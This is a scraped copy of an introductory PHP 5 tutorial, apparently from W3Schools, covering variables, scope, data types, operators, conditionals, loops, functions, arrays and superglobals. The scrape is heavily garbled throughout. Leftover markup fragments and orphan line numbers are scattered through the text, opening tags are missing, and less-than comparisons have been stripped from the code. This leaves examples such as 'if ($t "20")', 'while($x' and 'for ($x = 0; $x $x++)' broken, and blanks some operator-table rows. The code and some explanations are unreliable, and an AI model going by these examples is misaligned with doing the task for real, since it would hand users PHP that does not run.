A variable can have a short name (like x and y) or a more descriptive name (age, carname, total_volume).

Rules for PHP variables:

  1. A variable starts with the $ sign, followed by the name of the variable
  2. A variable name must start with a letter or the underscore character
  3. A variable name cannot start with a number
  4. A variable name can only contain alpha-numeric characters and underscores (A-z, 0-9, and _ )
  5. Variable names are case-sensitive ($age and $AGE are two different variables)

Output Variables :

The PHP echo statement is often used to output data to the screen.

The following example will show how to output text and a variable:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$txt = "W3Schools.com";
echo "I love $txt!";
?>

class="example_code notranslate">

Example :

1
2
3
4
5
6
7
8
9

class="example_code notranslate">

class="example_code notranslate">
$txt = "W3Schools.com";
echo "I love " . $txt . "!";
?>

class="example_code notranslate">

class="example_code notranslate">

PHP is a Loosely Typed Language :-

In the example above, notice that we did not have to tell PHP which data type the variable is.

PHP automatically converts the variable to the correct data type, depending on its value.

In other languages such as C, C++, and Java, the programmer must declare the name and type of the variable before using it.


PHP Variables Scope :-

In PHP, variables can be declared anywhere in the script.

The scope of a variable is the part of the script where the variable can be referenced/used.

PHP has three different variable scopes:

  1. local
  2. global
  3. static

Global and Local Scope  :-

A variable declared outside a function has a GLOBAL SCOPE and can only be accessed outside a function:

Example  :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class="example_code notranslate">

class="example_code notranslate">
$x = 5; // global scope
function myTest() {
// using x inside this function will generate an error
echo "

Variable x inside function is: $x

";

}
myTest();
echo "

Variable x outside function is: $x

";

?>

class="example_code notranslate">

class="example_code notranslate">

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
function myTest() {
$x = 5; // local scope
echo "

Variable x inside function is: $x

";

}
myTest();
// using x outside the function will generate an error
echo "

Variable x outside function is: $x

";

?>

class="example_code notranslate">

class="example_code notranslate">

PHP The global Keyword :-

The global keyword is used to access a global variable from within a function.

To do this, use the global keyword before the variables (inside the function):

Example :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class="example_code notranslate">

class="example_code notranslate">
$x = 5;
$y = 10;
function myTest() {
global $x, $y;
$y = $x + $y;
}
myTest();
echo $y; // outputs 15
?>

class="example_code notranslate">

PHP also stores all global variables in an array called $GLOBALS[index]. The index holds the name of the variable. This array is also accessible from within functions and can be used to update global variables directly.

The example above can be rewritten like this:

Example :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
$x = 5;
$y = 10;
function myTest() {
$GLOBALS['y'] = $GLOBALS['x'] + $GLOBALS['y'];
}
myTest();
echo $y; // outputs 15
?>

class="example_code notranslate">

PHP The static Keyword :-

Normally, when a function is completed/executed, all of its variables are deleted. However, sometimes we want a local variable NOT to be deleted. We need it for a further job.

To do this, use the static keyword when you first declare the variable:

Example :-

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
function myTest() {
static $x = 0;
echo $x;
$x++;
}
myTest();
myTest();
myTest();
?>

class="example_code notranslate">

Then, each time the function is called, that variable will still have the information it contained from the last time the function was called.

Note: The variable is still local to the function.

PHP 5 echo and print Statements :-

In PHP there are two basic ways to get output: echo and print.

In this tutorial we use echo (and print) in almost every example. So, this chapter contains a little more info about those two output statements.

PHP echo and print Statements

echo and print are more or less the same. They are both used to output data to the screen.

The differences are small: echo has no return value while print has a return value of 1 so it can be used in expressions. echo can take multiple parameters (although such usage is rare) while print can take one argument. echo is marginally faster than print.


The PHP echo Statement :-

The echo statement can be used with or without parentheses: echo or echo().

Display Text :

The following example shows how to output text with the echo command (notice that the text can contain HTML markup):

Example :

1
2
3
4
5
6
7
8
9
10
11

class="example_code notranslate">

class="example_code notranslate">
echo "

PHP is Fun!

";

echo "Hello world!
"
;
echo "I'm about to learn PHP!
"
;
echo "This ", "string ", "was ", "made ", "with multiple parameters.";
?>

class="example_code notranslate">

class="example_code notranslate">

Display Variables :

The following example shows how to output text and variables with the echo statement:

Example :

1
2
3
4
5
6
7
8
9
10

class="example_code notranslate">

class="example_code notranslate">
$txt1 = "Learn PHP";
$txt2 = "W3Schools.com";
$x = 5;
$y = 4;echo "

$txt1

";

echo "Study PHP at $txt2
"
;
echo $x + $y;
?>
[/php]

The PHP print Statement :

The print statement can be used with or without parentheses: print or print().

Display Text:

The following example shows how to output text with the print command (notice that the text can contain HTML markup):

Example:

1
2
3
4
5
6
7
8
9
10

class="example_code notranslate">

class="example_code notranslate">
print "

PHP is Fun!

";

print "Hello world!
"
;
print "I'm about to learn PHP!";
?>

class="example_code notranslate">

class="example_code notranslate">

Display Variables :

The following example shows how to output text and variables with the print statement:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
$txt1 = "Learn PHP";
$txt2 = "W3Schools.com";
$x = 5;
$y = 4;
print "

$txt1

";

print "Study PHP at $txt2
"
;
print $x + $y;
?>

class="example_code notranslate">

class="example_code notranslate">

PHP 5 Data Types :-

PHP Data Types :

Variables can store data of different types, and different data types can do different things.

PHP supports the following data types:

  1. String
  2. Integer
  3. Float (floating point numbers – also called double)
  4. Boolean
  5. Array
  6. Object
  7. NULL
  8. Resource

PHP String :

A string is a sequence of characters, like “Hello world!”.

A string can be any text inside quotes. You can use single or double quotes:

Example :

1
2
3
4
5
6
7
8
9
10
11

class="example_code notranslate">

class="example_code notranslate">
$x = "Hello world!";
$y = 'Hello world!';
echo $x;
echo "
"
;
echo $y;
?>

PHP Integer :

An integer is a whole number (without decimals).  It is a number between -2,147,483,648 and +2,147,483,647.

Rules for integers:

  1. An integer must have at least one digit (0-9)
  2. An integer cannot contain comma or blanks
  3. An integer must not have a decimal point
  4. An integer can be either positive or negative
  5. Integers can be specified in three formats: decimal (10-based), hexadecimal (16-based – prefixed with 0x) or octal (8-based – prefixed with 0)

In the following example $x is an integer. The PHP var_dump() function returns the data type and value:

Example :

1
2
3
4
5
6
7
8
9

class="example_code notranslate">

class="example_code notranslate">
$x = 5985;
var_dump($x);
?>

class="example_code notranslate">

class="example_code notranslate">

PHP Float :

A float (floating point number) is a number with a decimal point or a number in exponential form.

In the following example $x is a float. The PHP var_dump() function returns the data type and value:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$x = 10.365;
var_dump($x);
?>

class="example_code notranslate">

PHP Boolean :

A Boolean represents two possible states: TRUE or FALSE.

$x = true;
$y = false;

Booleans are often used in conditional testing. You will learn more about conditional testing in a later chapter of this tutorial.


PHP Array :

An array stores multiple values in one single variable.

In the following example $cars is an array. The PHP var_dump() function returns the data type and value:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo","BMW","Toyota");
var_dump($cars);
?>

class="example_code notranslate">

PHP Object :

An object is a data type which stores data and information on how to process that data.

In PHP, an object must be explicitly declared.

First we must declare a class of object. For this, we use the class keyword. A class is a structure that can contain properties and methods:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

class="example_code notranslate">

class="example_code notranslate">
class Car {
function Car() {
$this->model = "VW";
}
}
// create an object
$herbie = new Car();
// show object properties
echo $herbie->model;
?>

class="example_code notranslate">

class="example_code notranslate">1

class="example_code notranslate">

class="example_code notranslate">

PHP NULL Value :

Null is a special data type which can have only one value: NULL.
A variable of data type NULL is a variable that has no value assigned to it.
Tip: If a variable is created without a value, it is automatically assigned a value of NULL.
Variables can also be emptied by setting the value to NULL:

class="example">

class="example">Example :

class="example_code notranslate">1

class="example_code notranslate">

class="example_code notranslate">
$x = "Hello world!";
$x = null;
var_dump($x);
?>

class="example_code notranslate">

class="example_code notranslate">[/ph]

class="example_code notranslate">

class="example_code notranslate">

PHP Resource :

The special resource type is not an actual data type. It is the storing of a reference to functions and resources external to PHP.
A common example of using the resource data type is a database call.
We will not talk about the resource type here, since it is an advanced topic.

PHP 5 class="color_h1">Strings :-

A string is a sequence of characters, like "Hello world!".


PHP String Functions:

In this chapter we will look at some commonly used functions to manipulate strings.


Get The Length of a String:

The PHP strlen() function returns the length of a string (number of characters).
The example below returns the length of the string "Hello world!":

class="example">

class="example">Example:

class="example_code notranslate">1

class="example_code notranslate">

class="example_code notranslate">
echo strlen("Hello world!"); // outputs 12
?>

class="example_code notranslate">

Count The Number of Words in a String :

The PHP str_word_count() function counts the number of words in a string:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
echo str_word_count("Hello world!"); // outputs 2
?>

class="example_code notranslate">

class="example_code notranslate">

Reverse a String :

The PHP strrev() function reverses a string:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
echo strrev("Hello world!"); // outputs !dlrow olleH
?>

class="example_code notranslate">

class="example_code notranslate">

Search For a Specific Text Within a String :

The PHP strpos() function searches for a specific text within a string.

If a match is found, the function returns the character position of the first match. If no match is found, it will return FALSE.

The example below searches for the text “world” in the string “Hello world!”:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
echo strpos("Hello world!", "world"); // outputs 6
?>

class="example_code notranslate">

class="example_code notranslate">

Replace Text Within a String :

The PHP str_replace() function replaces some characters with some other characters in a string.

The example below replaces the text “world” with “Dolly”:

Example :

1
2
3
4
5
6
7

class="example_code notranslate">

class="example_code notranslate">
echo str_replace("world", "Dolly", "Hello world!"); // outputs Hello Dolly!
?>

class="example_code notranslate">

Complete PHP String Reference :

For a complete reference of all string functions, go to our complete PHP String Reference.

The PHP string reference contains description and example of use, for each function!

PHP 5 Constants :

Constants are like variables except that once they are defined they cannot be changed or undefined.


PHP Constants :

A constant is an identifier (name) for a simple value. The value cannot be changed during the script.

A valid constant name starts with a letter or underscore (no $ sign before the constant name).

Note: Unlike variables, constants are automatically global across the entire script.


Create a PHP Constant :

To create a constant, use the define() function.

Syntax :

define(name, value, case-insensitive)

Parameters:

  1. name: Specifies the name of the constant
  2. value: Specifies the value of the constant
  3. case-insensitive: Specifies whether the constant name should be case-insensitive. Default is false

The example below creates a constant with a case-sensitive name:

Example :

1
2
3
4
5
6
7
8
9

class="example_code notranslate">

class="example_code notranslate">
define("GREETING", "Welcome to W3Schools.com!");
echo GREETING;
?>

class="example_code notranslate">

class="example_code notranslate">

Constants are Global :

Constants are automatically global and can be used across the entire script.

The example below uses a constant inside a function, even if it is defined outside the function:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class="example_code notranslate">

class="example_code notranslate">
define("GREETING", "Welcome to W3Schools.com!");
function myTest() {
echo GREETING;
}
myTest();
?>

class="example_code notranslate">

class="example_code notranslate">

PHP 5 Operators :

PHP Operators :

Operators are used to perform operations on variables and values.

PHP divides the operators in the following groups:

  • Arithmetic operators
  • Assignment operators
  • Comparison operators
  • Increment/Decrement operators
  • Logical operators
  • String operators
  • Array operators

PHP Arithmetic Operators :

The PHP arithmetic operators are used with numeric values to perform common arithmetical operations, such as addition, subtraction, multiplication etc.

Operator Name Example Result
+ Addition $x + $y Sum of $x and $y
- Subtraction $x – $y Difference of $x and $y
* Multiplication $x * $y Product of $x and $y
/ Division $x / $y Quotient of $x and $y
% Modulus $x % $y Remainder of $x divided by $y
** Exponentiation $x ** $y Result of raising $x to the $y’th power (Introduced in PHP 5.6)

PHP Assignment Operators :

The PHP assignment operators are used with numeric values to write a value to a variable.

The basic assignment operator in PHP is “=”. It means that the left operand gets set to the value of the assignment expression on the right.

Assignment Same as… Description
x = y x = y The left operand gets set to the value of the expression on the right
x += y x = x + y Addition
x -= y x = x – y Subtraction
x *= y x = x * y Multiplication
x /= y x = x / y Division
x %= y x = x % y Modulus

PHP Comparison Operators:

The PHP comparison operators are used to compare two values (number or string):

Operator Name Example Result
== Equal $x == $y Returns true if $x is equal to $y
=== Identical $x === $y Returns true if $x is equal to $y, and they are of the same type
!= Not equal $x != $y Returns true if $x is not equal to $y
Not equal $x $y Returns true if $x is not equal to $y
!== Not identical $x !== $y Returns true if $x is not equal to $y, or they are not of the same type
> Greater than $x > $y Returns true if $x is greater than $y
Less than $x

Returns true if $x is less than $y
>= Greater than or equal to $x >= $y Returns true if $x is greater than or equal to $y
Less than or equal to $x

Returns true if $x is less than or equal to $y

PHP Increment / Decrement Operators :

The PHP increment operators are used to increment a variable’s value.

The PHP decrement operators are used to decrement a variable’s value.

Operator Name Description
++$x Pre-increment Increments $x by one, then returns $x
$x++ Post-increment Returns $x, then increments $x by one
–$x Pre-decrement Decrements $x by one, then returns $x
$x– Post-decrement Returns $x, then decrements $x by one

PHP Logical Operators :

The PHP logical operators are used to combine conditional statements.

Operator Name Example Result
and And $x and $y True if both $x and $y are true
or Or $x or $y True if either $x or $y is true
xor Xor $x xor $y True if either $x or $y is true, but not both
&& And $x && $y True if both $x and $y are true
|| Or $x || $y True if either $x or $y is true
! Not !$x True if $x is not true

PHP String Operators:

PHP has two operators that are specially designed for strings.

Operator Name Example Result
. Concatenation $txt1 . $txt2 Concatenation of $txt1 and $txt2
.= Concatenation assignment $txt1 .= $txt2 Appends $txt2 to $txt1

PHP Array Operators :

The PHP array operators are used to compare arrays.

Operator Name Example Result
+ Union $x + $y Union of $x and $y
== Equality $x == $y Returns true if $x and $y have the same key/value pairs
=== Identity $x === $y Returns true if $x and $y have the same key/value pairs in the same order and of the same types
!= Inequality $x != $y Returns true if $x is not equal to $y
Inequality $x $y Returns true if $x is not equal to $y
!== Non-identity $x !== $y Returns true if $x is not identical to $y

 

PHP 5 if…else…elseif Statements :-

Conditional statements are used to perform different actions based on different conditions.


PHP Conditional Statements :

Very often when you write code, you want to perform different actions for different decisions. You can use conditional statements in your code to do this.

In PHP we have the following conditional statements:

  1. if statement – executes some code only if a specified condition is true
  2. if…else statement – executes some code if a condition is true and another code if the condition is false
  3. if…elseif….else statement – specifies a new condition to test, if the first condition is false
  4. switch statement – selects one of many blocks of code to be executed

PHP – The if Statement :

The if statement is used to execute some code only if a specified condition is true.

Syntax :

if (condition) {
code to be executed if condition is true
;
}

The example below will output “Have a good day!” if the current time (HOUR) is less than 20:

Example :

1
2
3
4
5
6
7
8
9
10
11
12

class="example_code notranslate">

class="example_code notranslate">
$t = date("H");
if ($t "20") {
echo "Have a good day!";
}
?>

class="example_code notranslate">

class="example_code notranslate">

PHP – The if…else Statement:

Use the if….else statement to execute some code if a condition is true and another code if the condition is false.

Syntax:

1
2
3
4
5
6
7
8
9

if (condition) {
code to be executed if condition is true;
} else {
  code to be executed if condition is false;
}

The example below will output “Have a good day!” if the current time is less than 20, and “Have a good night!” otherwise:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13

class="example_code notranslate">

class="example_code notranslate">
$t = date("H");
if ($t "20") {
echo "Have a good day!";
} else {
echo "Have a good night!";
}
?>

class="example_code notranslate">

PHP – The if…elseif….else Statement:

Use the if….elseif…else statement to specify a new condition to test, if the first condition is false.

Syntax:

if (condition) {
code to be executed if condition is true;
} elseif (condition) {
  code to be executed if condition is true;
} else {
code to be executed if condition is false;
}

The example below will output “Have a good morning!” if the current time is less than 10, and “Have a good day!” if the current time is less than 20. Otherwise it will output “Have a good night!”:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
$t = date("H");
if ($t "10") {
echo "Have a good morning!";
} elseif ($t "20") {
echo "Have a good day!";
} else {
echo "Have a good night!";
}
?>

class="example_code notranslate">

PHP – The switch Statement:

The switch statement will be explained in the next chapter.

PHP 5 switch Statement:


The switch statement is used to perform different actions based on different conditions.


The PHP switch Statement:

Use the switch statement to select one of many blocks of code to be executed.

Syntax:

switch (n) {
case label1:
      code to be executed if n=label1;
break;
case label2:
      code to be executed if n=label2;
break;
case label3:
      code to be executed if n=label3;
break;

default:
      code to be executed if n is different from all labels;
}

This is how it works: First we have a single expression n (most often a variable), that is evaluated once. The value of the expression is then compared with the values for each case in the structure. If there is a match, the block of code associated with that case is executed. Use break to prevent the code from running into the next case automatically. The default statement is used if no match is found.

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

class="example_code notranslate">

class="example_code notranslate">
$favcolor = "red";
switch ($favcolor) {
case "red":
echo "Your favorite color is red!";
break;
case "blue":
echo "Your favorite color is blue!";
break;
case "green":
echo "Your favorite color is green!";
break;
default:
echo "Your favorite color is neither red, blue, nor green!";
}
?>

class="example_code notranslate">

PHP 5 while Loops :


PHP while loops execute a block of code while the specified condition is true.


PHP Loops :

Often when you write code, you want the same block of code to run over and over again in a row. Instead of adding several almost equal code-lines in a script, we can use loops to perform a task like this.

In PHP, we have the following looping statements:

  1. while - loops through a block of code as long as the specified condition is true
  2. do…while – loops through a block of code once, and then repeats the loop as long as the specified condition is true
  3. for - loops through a block of code a specified number of times
  4. foreach - loops through a block of code for each element in an array

The PHP while Loop :

The while loop executes a block of code as long as the specified condition is true.

Syntax :

while (condition is true) {
    code to be executed;
}

The example below first sets a variable $x to 1 ($x = 1). Then, the while loop will continue to run as long as $x is less than, or equal to 5 ($x

Example :

1
2
3
4
5
6
7
8
9
10
11
12

class="example_code notranslate">

class="example_code notranslate">
$x = 1;
while($x
echo "The number is: $x
"
;
$x++;
}
?>

class="example_code notranslate">

The PHP do…while Loop :

The do…while loop will always execute the block of code once, it will then check the condition, and repeat the loop while the specified condition is true.

Syntax :

do {
    code to be executed;
} while (condition is true);

The example below first sets a variable $x to 1 ($x = 1). Then, the do while loop will write some output, and then increment the variable $x with 1. Then the condition is checked (is $x less than, or equal to 5?), and the loop will continue to run as long as $x is less than, or equal to 5:

Example :

1
2
3
4
5
6
7
8
9
10
11
12

class="example_code notranslate">

class="example_code notranslate">
$x = 1;
do {
echo "The number is: $x
"
;
$x++;
} while ($x
?>

class="example_code notranslate">

PHP 5 for Loops


PHP for loops execute a block of code a specified number of times.


The PHP for Loop :

The for loop is used when you know in advance how many times the script should run.

Syntax :

for (init counter; test counter; increment counter) {
  code to be executed;
}

Parameters:

  1. init counter: Initialize the loop counter value
  2. test counter: Evaluated for each loop iteration. If it evaluates to TRUE, the loop continues. If it evaluates to FALSE, the loop ends.
  3. increment counter: Increases the loop counter value

The example below displays the numbers from 0 to 10:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

class="example_code notranslate">

class="example_code notranslate">
for ($x = 0; $x $x++) {
echo "The number is: $x
"
;
}
?>

</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>

The PHP foreach Loop :

The foreach loop works only on arrays, and is used to loop through each key/value pair in an array.

Syntax :

foreach ($array as $value) {
code to be executed;
}

For every loop iteration, the value of the current array element is assigned to $value and the array pointer is moved by one, until it reaches the last array element.

The following example demonstrates a loop that will output the values of the given array ($colors):

Example :

1
2
3
4
5
6
7
8
9
10
11
12
</pre>
</div>

class="example_code notranslate">

class="example_code notranslate">
$colors = array("red", "green", "blue", "yellow");
foreach ($colors as $value) {
echo "$value
"
;
}
?>

class="example_code notranslate">

class="example_code notranslate">

PHP 5 Functions :


The real power of PHP comes from its functions; it has more than 1000 built-in functions.


PHP User Defined Functions :

Besides the built-in PHP functions, we can create our own functions.

A function is a block of statements that can be used repeatedly in a program.

A function will not execute immediately when a page loads.

A function will be executed by a call to the function.


Create a User Defined Function in PHP :

A user defined function declaration starts with the word “function”:

Syntax:

function functionName() {
    code to be executed;
}

 

Example :

1
2
3
4
5
6
7
8
9
10
11
12

class="example_code notranslate">

class="example_code notranslate">
function writeMsg() {
echo "Hello world!";
}
writeMsg(); // call the function
?>

class="example_code notranslate">

class="example_code notranslate">

PHP Function Arguments :

Information can be passed to functions through arguments. An argument is just like a variable.

Arguments are specified after the function name, inside the parentheses. You can add as many arguments as you want, just seperate them with a comma.

The following example has a function with one argument ($fname). When the familyName() function is called, we also pass along a name (e.g. Jani), and the name is used inside the function, which outputs several different first names, but an equal last name:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
function familyName($fname) {
echo "$fname Refsnes.
"
;
}
familyName("Jani");
familyName("Hege");
familyName("Stale");
familyName("Kai Jim");
familyName("Borge");
?>

class="example_code notranslate">

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class="example_code notranslate">

class="example_code notranslate">
function familyName($fname, $year) {
echo "$fname Refsnes. Born in $year
"
;
}
familyName("Hege", "1975");
familyName("Stale", "1978");
familyName("Kai Jim", "1983");
?>

class="example_code notranslate">

class="example_code notranslate">

PHP Default Argument Value :

The following example shows how to use a default parameter. If we call the function setHeight() without arguments it takes the default value as argument:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

class="example_code notranslate">

class="example_code notranslate">
function setHeight($minheight = 50) {
echo "The height is : $minheight
"
;
}
setHeight(350);
setHeight(); // will use the default value of 50
setHeight(135);
setHeight(80);
?>

class="example_code notranslate">

PHP Functions – Returning values :

To let a function return a value, use the return statement:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

class="example_code notranslate">

class="example_code notranslate">
function sum($x, $y) {
$z = $x + $y;
return $z;
}
echo "5 + 10 = " . sum(5, 10) . "
"
;
echo "7 + 13 = " . sum(7, 13) . "
"
;
echo "2 + 4 = " . sum(2, 4);
?>

class="example_code notranslate">

class="example_code notranslate">

PHP 5 Arrays :


An array stores multiple values in one single variable:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo", "BMW", "Toyota");
echo "I like " . $cars[0] . ", " . $cars[1] . " and " . $cars[2] . ".";
?>

class="example_code notranslate">

What is an Array?

An array is a special variable, which can hold more than one value at a time.

If you have a list of items (a list of car names, for example), storing the cars in single variables could look like this:

$cars1 = “Volvo”;
$cars2 = “BMW”;
$cars3 = “Toyota”;

However, what if you want to loop through the cars and find a specific one? And what if you had not 3 cars, but 300?

The solution is to create an array!

An array can hold many values under a single name, and you can access the values by referring to an index number.


Create an Array in PHP :

In PHP, the array() function is used to create an array:

array();

In PHP, there are three types of arrays:

  1. Indexed arrays – Arrays with a numeric index
  2. Associative arrays – Arrays with named keys
  3. Multidimensional arrays – Arrays containing one or more arrays

PHP Indexed Arrays :

There are two ways to create indexed arrays:

The index can be assigned automatically (index always starts at 0), like this:

$cars = array(“Volvo”, “BMW”, “Toyota”);

or the index can be assigned manually:

$cars[0] = “Volvo”;
$cars[1] = “BMW”;
$cars[2] = “Toyota”;

The following example creates an indexed array named $cars, assigns three elements to it, and then prints a text containing the array values:

Example :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo", "BMW", "Toyota");
echo "I like " . $cars[0] . ", " . $cars[1] . " and " . $cars[2] . ".";
?>

</div>
</div>
</div>
</div>
</div>
</div>
</div>

class="example_code notranslate">

class="example_code notranslate">

Get The Length of an Array – The count() Function :

The count() function is used to return the length (the number of elements) of an array:

Example :

1
2
3
4
5
6
7
8
9
10
11

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo", "BMW", "Toyota");
echo count($cars);
?>

</div>
</div>

class="example_code notranslate">

class="example_code notranslate">

Loop Through an Indexed Array :

To loop through and print all the values of an indexed array, you could use a for loop, like this:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo", "BMW", "Toyota");
$arrlength = count($cars);
for($x = 0; $x $arrlength; $x++) {
echo $cars[$x];
echo "
"
;
}
?>

class="example_code notranslate">

PHP Associative Arrays :

Associative arrays are arrays that use named keys that you assign to them.

There are two ways to create an associative array:

$age = array(“Peter”=>”35″, “Ben”=>”37″, “Joe”=>”43″);

or:

$age[‘Peter’] = “35”;
$age[‘Ben’] = “37”;
$age[‘Joe’] = “43”;

The named keys can then be used in a script:

Example :

1
2
3
4
5
6
7
8
9

class="example_code notranslate">

class="example_code notranslate">
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
echo "Peter is " . $age['Peter'] . " years old.";
?>

class="example_code notranslate">

class="example_code notranslate">

Loop Through an Associative Array :

To loop through and print all the values of an associative array, you could use a foreach loop, like this:

Example:

1
2
3
4
5
6
7
8
9
10
11
12

class="example_code notranslate">

class="example_code notranslate">
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
foreach($age as $x => $x_value) {
echo "Key=" . $x . ", Value=" . $x_value;
echo "
"
;
}
?>

class="example_code notranslate">

Multidimensional Arrays :

Multidimensional arrays will be explained in the PHP advanced section.


Complete PHP Array Reference:

For a complete reference of all array functions, go to our complete PHP Array Reference.

The reference contains a brief description, and examples of use, for each function!

PHP 5 Sorting Arrays :


The elements in an array can be sorted in alphabetical or numerical order, descending or ascending.


PHP – Sort Functions For Arrays :

In this chapter, we will go through the following PHP array sort functions:

  1. sort() – sort arrays in ascending order
  2. rsort() – sort arrays in descending order
  3. asort() – sort associative arrays in ascending order, according to the value
  4. ksort() – sort associative arrays in ascending order, according to the key
  5. arsort() – sort associative arrays in descending order, according to the value
  6. krsort() – sort associative arrays in descending order, according to the key

Sort Array in Ascending Order – sort() :

The following example sorts the elements of the $cars array in ascending alphabetical order:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo", "BMW", "Toyota");
sort($cars);
?>

class="example_code notranslate">

Sort Array in Descending Order – rsort() :

The following example sorts the elements of the $cars array in descending alphabetical order:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$cars = array("Volvo", "BMW", "Toyota");
rsort($cars);
?>

class="example_code notranslate">

Sort Array (Ascending Order), According to Value – asort() :

The following example sorts an associative array in ascending order, according to the value:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
asort($age);
?>

class="example_code notranslate">

Sort Array (Ascending Order), According to Key – ksort() :

The following example sorts an associative array in ascending order, according to the key:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
ksort($age);
?>

class="example_code notranslate">

Sort Array (Descending Order), According to Value – arsort() :

The following example sorts an associative array in descending order, according to the value:

Example:

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
arsort($age);
?>

class="example_code notranslate">

class="example_code notranslate">

Sort Array (Descending Order), According to Key – krsort() :

The following example sorts an associative array in descending order, according to the key:

Example :

1
2
3
4
5
6
7
8

class="example_code notranslate">

class="example_code notranslate">

class="example_code notranslate">
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
krsort($age);
?>

<div class="example_code notranslate">

Complete PHP Array Reference :

For a complete reference of all array functions, go to our complete PHP Array Reference.

The reference contains a brief description, and examples of use, for each function!

PHP 5 Global Variables – Superglobals :


Superglobals were introduced in PHP 4.1.0, and are built-in variables that are always available in all scopes.


PHP Global Variables – Superglobals :

Several predefined variables in PHP are “superglobals”, which means that they are always accessible, regardless of scope – and you can access them from any function, class or file without having to do anything special.

The PHP superglobal variables are:

  1. $GLOBALS
  2. $_SERVER
  3. $_REQUEST
  4. $_POST
  5. $_GET
  6. $_FILES
  7. $_ENV
  8. $_COOKIE
  9. $_SESSION

This chapter will explain some of the superglobals, and the rest will be explained in later chapters.


PHP $GLOBALS :

$GLOBALS is a PHP super global variable which is used to access global variables from anywhere in the PHP script (also from within functions or methods).

PHP stores all global variables in an array called $GLOBALS[index]. The index holds the name of the variable.

The example below shows how to use the super global variable $GLOBALS:

Example:

1
2
3
4
5
6
7
8
9
10
11
<?php
$x = 75;
$y = 25;
function addition() {
$GLOBALS['z'] = $GLOBALS['x'] + $GLOBALS['y'];
}
addition();
echo $z;
?>

PHP $_SERVER :

$_SERVER is a PHP super global variable which holds information about headers, paths, and script locations.

The example below shows how to use some of the elements in $_SERVER:

Example:

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
echo $_SERVER['PHP_SELF'];
echo "<br>";
echo $_SERVER['SERVER_NAME'];
echo "<br>";
echo $_SERVER['HTTP_HOST'];
echo "<br>";
echo $_SERVER['HTTP_REFERER'];
echo "<br>";
echo $_SERVER['HTTP_USER_AGENT'];
echo "<br>";
echo $_SERVER['SCRIPT_NAME'];
?>

he following table lists the most important elements that can go inside $_SERVER:

Element/Code Description
$_SERVER[‘PHP_SELF’] Returns the filename of the currently executing script
$_SERVER[‘GATEWAY_INTERFACE’] Returns the version of the Common Gateway Interface (CGI) the server is using
$_SERVER[‘SERVER_ADDR’] Returns the IP address of the host server
$_SERVER[‘SERVER_NAME’] Returns the name of the host server (such as http://www.w3schools.com)
$_SERVER[‘SERVER_SOFTWARE’] Returns the server identification string (such as Apache/2.2.24)
$_SERVER[‘SERVER_PROTOCOL’] Returns the name and revision of the information protocol (such as HTTP/1.1)
$_SERVER[‘REQUEST_METHOD’] Returns the request method used to access the page (such as POST)
$_SERVER[‘REQUEST_TIME’] Returns the timestamp of the start of the request (such as 1377687496)
$_SERVER[‘QUERY_STRING’] Returns the query string if the page is accessed via a query string
$_SERVER[‘HTTP_ACCEPT’] Returns the Accept header from the current request
$_SERVER[‘HTTP_ACCEPT_CHARSET’] Returns the Accept_Charset header from the current request (such as utf-8,ISO-8859-1)
$_SERVER[‘HTTP_HOST’] Returns the Host header from the current request
$_SERVER[‘HTTP_REFERER’] Returns the complete URL of the current page (not reliable because not all user-agents support it)
